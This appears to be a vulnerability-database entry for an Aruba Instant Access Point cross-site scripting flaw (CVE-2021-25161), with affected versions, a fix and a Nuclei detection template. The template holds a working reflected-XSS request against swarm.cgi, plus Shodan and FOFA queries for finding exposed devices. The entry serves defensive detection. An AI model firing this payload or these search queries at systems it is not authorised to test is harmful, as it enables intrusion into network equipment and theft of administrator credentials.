Browse / CVEs / CVE-2021-25161
CVE-2021-25161· aruba / aruba-instant-access-point· CWE-79
Aruba Instant Access Point (IAP) - Cross-Site Scripting
A remote cross-site scripting (xss) vulnerability was discovered in some Aruba Instant Access Point (IAP) products in version(s): Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below; Aruba Instant 6.5.x: 6.5.4.18 and below; Aruba Instant 8.3.x: 8.3.0.14 and below; Aruba Instant 8.5.x: 8.5.0.11 and below; Aruba Instant 8.6.x: 8.6.0.7 and below; Aruba Instant 8.7.x: 8.7.1.1 and below.
Impact
Attackers can inject malicious JavaScript via reflected XSS in the decoded_texts parameter, potentially stealing administrator credentials or manipulating access point configurations.
Fix
Upgrade to the latest version of Swarm that addresses this vulnerability.Implement proper input validation and output encoding for user-supplied data.
How to confirm it
Send: GET /swarm.cgi?opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts="%27;%0Aalert(doc…
Positive when: contains "var decode_string = '\"';" and "alert(document.domain);//" AND contains in content_type "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-25161 -u <target>
The full check
id: CVE-2021-25161
info:
name: Aruba Instant Access Point (IAP) - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
A remote cross-site scripting (xss) vulnerability was discovered in some Aruba Instant Access Point (IAP) products in version(s): Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below; Aruba Instant 6.5.x: 6.5.4.18 and below; Aruba Instant 8.3.x: 8.3.0.14 and below; Aruba Instant 8.5.x: 8.5.0.11 and below; Aruba Instant 8.6.x: 8.6.0.7 and below; Aruba Instant 8.7.x: 8.7.1.1 and below.
impact: |
Attackers can inject malicious JavaScript via reflected XSS in the decoded_texts parameter, potentially stealing administrator credentials or manipulating access point configurations.
remediation: |
Upgrade to the latest version of Swarm that addresses this vulnerability.Implement proper input validation and output encoding for user-supplied data.
reference:
- https://alephsecurity.com/2021/07/15/aruba-instant/?utm_source=feedly
- https://nvd.nist.gov/vuln/detail/CVE-2021-25161
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25161
cwe-id: CWE-79
epss-score: 0.16372
epss-percentile: 0.96993
metadata:
verified: true
max-request: 1
vendor: aruba
product: aruba-instant-access-point
shodan-query: title:"Aruba"
fofa-query: body="jscripts/third_party/raphael-treemap.min.js" || body="jscripts/third_party/highcharts.src.js"
tags: cve,cve2021,xss,aruba,web,vuln
http:
- raw:
- |
GET /swarm.cgi?opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts="%27;%0Aalert(document.domain);//%0a%27 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- var decode_string = '"';
- alert(document.domain);//
condition: and
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200References
- https://alephsecurity.com/2021/07/15/aruba-instant/?utm_source=feedly
- https://nvd.nist.gov/vuln/detail/CVE-2021-25161
Use this check only on systems you are authorised to test. Where the data comes from